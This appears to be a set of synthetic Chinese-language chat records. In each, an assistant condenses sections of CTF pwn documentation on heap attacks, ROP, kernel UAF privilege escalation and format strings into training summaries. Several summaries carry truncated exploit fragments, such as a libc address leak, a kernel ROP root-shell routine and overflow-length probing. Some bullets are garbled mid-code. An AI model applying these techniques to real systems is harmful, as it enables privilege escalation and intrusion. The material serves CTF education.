context.log_level = "debug"
2018-XNUCA-gets
分析

边界/溢出 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:asm code:python

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Hardened freelist」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Hardened freelist
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Hardened freelist”展开。
- 类似于 glibc 2.32 版本引入的保护，在开启这种保护之前，slub 中的 free object 的 next 指针直接存放着 next free object 的地址，攻击者可以通过读取 freelist 泄露出内核线性映射区的地址，在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值： - 当前 free object 的地址。
- 攻击者至少需要获取到第一与第三个值才能篡改 freelist，这无疑为对 freelist 的直接利用增添不少难度。
- > 在更新版本的 Linux kernel 中似乎还引入了一个偏移值，笔者尚未进行考证。
- 由 kmem\_cache 指定的一个 random 值。

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Hardened freelist

基础知识
Mitigation
内核“堆”上保护机制
Hardened freelist

漏洞利用 pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「pwn-related tools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“pwn-related tools”展开。
- RUN /pip_venv/bin/pip config set global.index-url http://pypi.tuna.tsinghua.edu.cn/simple && \ /pip_venv/bin/pip config set global.trusted-host pypi.tuna.tsinghua.edu.cn && \ /pip_venv/bin/pip install -U pip && \ /pip_venv/bin/pip install --no-cache-dir \ p...
- RUN git clone https://github.com/pwndbg/pwndbg && \ cd pwndbg && chmod +x setup.sh && ./setup.sh
- 在一个空白文件夹中创建一个名为 Dockerfile 的文件，并写入上述内容，随后运行如下指令：
- ``shell $ docker build -t pwnenv_ubuntu24 . ``
- > 注：若因网络原因无法完成镜像构建，可以选择为镜像构建配置代理，这通常只需要在 Dockerfile 当中添加如下内容： > > ``dockerfile > ENV HTTP_PROXY=http://your-proxy:port > ENV HTTPS_PROXY=http://your-proxy:port > ` > > 若你的代理服务器位于本地，也可以选择使用本地网络进行构建： > > `shell > docker build --network="host" -t pwnenv_ubuntu...

关键术语：
- ROP/JOP
- pwn
- linux
- user-mode
- environment.md

代码/命令片段线索：
- plain: 1 行，首行 `在一个空白文件夹中创建一个名为 `Dockerfile` 的文件，并写入上述内容，随后运行如下指令：`
- plain: 3 行，首行 `> 注：若因网络原因无法完成镜像构建，可以选择为镜像构建配置代理，这通常只需要在 Dockerfile 当中添加如下内容：`
- plain: 4 行，首行 `>`
- plain: 1 行，首行 `完成之后你便拥有了一个名为 `pwnenv_ubuntu24` 的带有做题环境的 Ubuntu24 镜像，可以通过 `docker images` 指令查看：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

pwn-related tools

ROP/JOP pwn linux user-mode environment.md

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「insert-1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 基本功能分析 > insert-1
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“insert-1”展开。
- 2. 读取storage 元素所需要存储内容的长度。
- 但是，需要注意的是，这里记录的storage的大小是自己输入的大小！
- 基本功能如下 1. 逐一查看 storage 数组，查找第一个未使用的元素，但是这个数组最大也就是32。
- 3. 使用 calloc 分配指定长度，注意 calloc 会初始化 chunk 为0。
- 4. 将 calloc 分配的内存地址与 bss 段的一个内存（初始时刻为一个随机数）进行抑或，得到一个新的内存地址。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

insert-1

in order not to merge into top chunk
2016 0CTF zerostorage-待完成
基本功能分析
insert-1

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA”展开。
- 方便起见，我们可以先通过 mmap() 随便映射一块内存，之后改写 mmap() 的虚拟地址在页表中对应的物理地址即可，这种方法本质上其实就是 用户态映射攻击。
- 这里我们选择改写 setresuid() 函数当中用来进行权限检查的 ns_capable_setid() 函数，直接 patch 掉权限检查的部分即可直接通过 setresuid() 函数将当前进程的 uid 直接改为 root。
- 既然我们能够进行内存空间中的任意读写，直接改写内核代码段也是一个实现任意代码执行的好办法，但是直接映射区对应的内核代码段区域没有可写入权限，直接写会导致 kernel panic。
- 但是改写内核代码段本质上便是向对应的物理页写入数据，而我们又能够读写进程页表，我们直接在用户空间建立一个到内核代码段对应物理内存的映射就能改写内核代码段了。

关键术语：
- UAF
- 堆
- 修复/缓解
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Step.IV - 提权
方法三、内核页表解析获取代码段物理地址，改写内核页表建立新映射实现 USMA

UAF 堆 修复/缓解 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`
标题：FGKASLR
章节：FGKASLR > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- https://lwn.net/Articles/832434/ - https://github.com/kaccardi/linux/compare/fg-kaslr - https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L60 - https://www.youtube.com/watch?
- v=VcqhJKfOcx4 - https://www.phoronix.com/scan.php?
- page=article&item=kaslr-fgkaslr-benchmark&num=1

关键术语：
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

FGKASLR


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19] > 堆布局 > leak
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- ``python atoi_got = elf.got['atoi'] payload = p64(0) * 2 + p64(0x40) + p64(atoi_got) change(0, 0x80, payload) show() r.recvuntil(b"0 : ") leak_data = r.recvuntil(b":")[:6] atoi_addr = u64(leak_data.ljust(8, b"\x00")) libc = LibcSearcher('atoi', atoi_addr) l...

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 11 行，首行 `atoi_got = elf.got['atoi']`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

leak

zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19]

堆 漏洞利用 pwn linux user-mode heap code:python

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md` 中的章节「分析 exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-roman.md`
标题：House of Roman
章节：House of Roman > 分析 exp
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析 exp”展开。
- 分配 3 个 chunk ，在 B + 0x78 处设置 p64(0x61) ， 作用是 fake size ,用于后面 的 fastbin attack  ``python create(0x18,0) # 0x20 create(0xc8,1) # d0 create(0x65,2) # 0x70 info("create 2 chunk, 0x20, 0xd8") fake = "A"0x68 fake += p64(0x61) ## fake size edit(1,fake) info("fake...

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python
- code:py

代码/命令片段线索：
- python: 8 行，首行 `create(0x18,0) # 0x20`
- plain: 9 行，首行 `free(1)`
- py: 6 行，首行 `free(2)`
- plain: 9 行，首行 `pwndbg> fastbins`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析 exp

UAF 堆 AI安全 漏洞利用 pwn linux user-mode heap code:python code:py

House of Roman


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「modify ebp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > modify ebp
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“modify ebp”展开。
- 因为格式化字符串不在栈上，所以就算我们得到了需要更改的ebp的地址，也没有办法去把这个地址写到栈上，利用$符号去定位他；
- 因为没有办法定位，所以没有办法用l\ll等方式去写这个地址，所以只能打印很多。

关键术语：
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

代码/命令片段线索：
- plain: 1 行，首行 `system出现0截断的情况下，exp如下:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

modify ebp

堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode fmtstr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：DEBUG("b *0x4006B9\nc") > Stack smash > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- } ` 所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址，那么在 __fortify_fail 函数中就会输出我们想要的信息。
- 而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。
- 其代码如下 ``C void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected");
- `c #include <stdio.h> void __attribute__ ((noreturn)) __fortify_fail (const char msg) { / The loop is added only to keep gcc happy. / while (1) __libc_message (do_abort, " %s : terminated\n", msg);
- } libc_hidden_def (__fortify_fail) `` > 总结一下原因就是现在不会打印argv[0] 指针所指向的字符串

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:c

代码/命令片段线索：
- C: 11 行，首行 `void __attribute__ ((noreturn)) __stack_chk_fail (void)`
- c: 10 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:c

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：基本 ROP > ret2text > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets)，这就是我们所要说的ROP。
- ret2text 即控制程序执行程序本身已有的的代码 (即， .text 段中的代码) 。
- 当然程序也可能会开启某些保护，我们需要想办法去绕过这些保护。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「总结 large bin attack 的利用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`
标题：Large Bin Attack
章节：Large Bin Attack > 总结 large bin attack 的利用方法
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“总结 large bin attack 的利用方法”展开。
- how2heap 中也说了，large bin attack 是未来更深入的利用。
- 现在我们来总结一下利用的条件： + 可以修改一个 large bin chunk 的 data + 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面 + 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击 + 可以修改 _IO_list_all 便于伪造 _IO_FILE 结构体进行 FSOP。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

总结 large bin attack 的利用方法

Large Bin Attack
总结 large bin attack 的利用方法

Large Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Step.II - fcntl(F\_SETPIPE\_SZ) 更改 pipe\_buffer 所在 slub 大小，跨页溢出构造页级 UAF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.II - fcntl(F\_SETPIPE\_SZ) 更改 pipe\_buffer 所在 slub 大小，跨页溢出构造页级 UAF
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Step.II - fcntl(F\_SETPIPE\_SZ) 更改 pipe\_buffer 所在 slub 大小，跨页溢出构造页级 UAF”展开。
- 不过需要注意的是，由于 page 结构体的大小为 0x40，其可以被 0x100 整除，因此若我们所溢出的目标 page 的地址最后一个字节刚好为 \x00， _那就等效于没有溢出_ ，因此实际上利用成功率仅为 75% ` 。
- 文件: ./figure/d3kcache-page-uaf.png] 同时管道的特性还能让我们在 UAF 页面上任意读写，这使得我们可以将该 page 分配为其他 kmem\_cache 的 slub pages 后，利用管道对上面的对象实现任意读写。
- 但是有一个小问题，pipe_buffer 来自于 kmalloc-cg-1k ，其会请求 order-2 的页面，而题目模块的对象大小为 2k，其会请求 order-3 的页面，如果我们直接进行不同 order 间的堆风水的话，则利用成功率会大打折扣 。
- ` 那么我们不难想到的是我们可以通过 fcntl() 重新分配单个 pipe 的 pipe\_buffer 数量，： - 对于每个 pipe 我们指定分配 64 个 pipe\_buffer，从而使其向 kmalloc-cg-4k 请求对象，而这将最终向 buddy system 请求 order-3 的页面 由此，我们便成功使得 pipe_buffer 与题目模块的对象处在同一 order 的内存页上，从而提高 cross-cache overflow 的成功率。
- 接下来我们考虑溢出的目标对象，由于仅有一个字节的溢出，毫无疑问的是我们需要寻找一些在结构体头部便有指向其他内核对象的指针的内核对象，我们不难想到的是 pipe_buffer 是一个非常好的的利用对象，其开头有着指向 page 结构体的指针，而 page 的大小仅为 0x40 ，可以被 0x100 整除，若我们能够通过 partial overwrite 使得两个管道指向同一张页面，并释放掉其中一个，我们便构造出了页级的 UAF： [图片: original state;

关键术语：
- UAF
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 5 行，首行 `struct pipe_inode_info *alloc_pipe_info(void)`
- c: 23 行，首行 `long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Step.II - fcntl(F\_SETPIPE\_SZ) 更改 pipe\_buffer 所在 slub 大小，跨页溢出构造页级 UAF

UAF 边界/溢出 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`
标题：kernel UAF
章节：kernel UAF > 例题：CISCN2017 - babydriver > Exploit
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Exploit”展开。
- } void getRootShell(void) { if(getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!
- } int main(void) { printf("\033[34m\033[1m[] Start to exploit...\033[0m\n");
- if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!
- } } size_t rop[0x20], p = 0;
- rop[p++] = MOV_CR4_RDI_POP_RBP_RET;

关键术语：
- UAF
- 堆
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 101 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Exploit

kernel UAF
例题：CISCN2017 - babydriver
Exploit

UAF 堆 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

kernel UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「确定栈溢出长度」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 确定栈溢出长度
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定栈溢出长度”展开。
- \n') sh.send(i * 'a') output = sh.recv() sh.close() if not output.startswith('No password'): return i - 1 else: i += 1 except EOFError: sh.close() return i - 1 `` 根据上面，我们可以确定，栈溢出的长度为72。
- 同时，根据回显信息可以发现程序并没有开启canary保护，否则，就会有相应的报错内容。
- ``python def getbufferflow_length(): i = 1 while 1: try: sh = remote('127.0.0.1', 9999) sh.recvuntil('WelCome my friend,Do you know password?

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow
- code:python

代码/命令片段线索：
- python: 16 行，首行 `def getbufferflow_length():`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定栈溢出长度

中级ROP BROP 例子 确定栈溢出长度

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow code:python

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「检查旧堆信息1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define GLRO(name) _##name > 检查旧堆信息1
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“检查旧堆信息1”展开。
- ` 这个检查要求满足其中任何一个条件 1. old_top == initial_top(av) && old_size == 0，即如果是第一次的话，堆的大小需要是 0。
- 2. ((unsigned long)old_end & (pagesize - 1)) == 0)`，堆的结束地址应该是页对齐的，由于页对齐的大小默认是0x1000，所以低 12 个比特需要为 0。
- 2. 新的堆，那么 1. (unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top)，堆的大小应该不小于 MINSIZE，并且前一个堆块应该处于使用中。
- ``c / If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. / assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long)(old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & (...

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 7 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

检查旧堆信息1

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md` 中的章节「在内存中直接搜索 flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/initramfs.md`
标题：在内存中直接搜索 flag
章节：在内存中直接搜索 flag
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“在内存中直接搜索 flag”展开。
- Initial RAM disk（initrd）提供了在 boot loader 阶段载入一个 RAM disk 并挂载为根文件系统的能力，从而在该阶段运行一些用户态程序，在完成该阶段工作之后才是挂载真正的根文件系统。
- initrd 文件系统镜像通常为 gzip 格式，在启动阶段由 boot loader 将其路径传给 kernel，自 2.6 版本后出现了使用 cpio 格式的initramfs，从而无需挂载便能展开为一个文件系统。
- initrd/initramfs 的特点便是文件系统中的所有内容都会被读取到内存当中，而大部分 CTF 中的 kernel pwn 题目都选择直接将 initrd 作为根文件系统，因此若是我们有着内存搜索能力，我们便能直接在内存空间中搜索 flag 的内容 ：）

关键术语：
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

在内存中直接搜索 flag

在内存中直接搜索 flag

在内存中直接搜索 flag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get all the addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get all the addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get all the addr”展开。
- addr = payload[:32] payload = '%32d' + payload[32:] offset = (int)(math.ceil(len(payload) / 8.0) + 1) for i in range(6, 10): old = '%{}$'.format(i) new = '%{}$'.format(offset + i) payload = payload.replace(old, new) remainer = len(payload) % 8 payload += (8...

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get all the addr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「使用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`
标题：用 userfaultfd 创造条件竞争
章节：用 userfaultfd 创造条件竞争 > 使用方法
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“使用方法”展开。
- 在 Linux man page 当中便已经为我们提供了 userfaultfd 的基本使用模板，我们只需要稍加修改便能直接投入到实战当中，下面笔者给出自用的为特定内存注册 userfaultfd monitor 的模板： ``c void err_exit(char msg) { printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
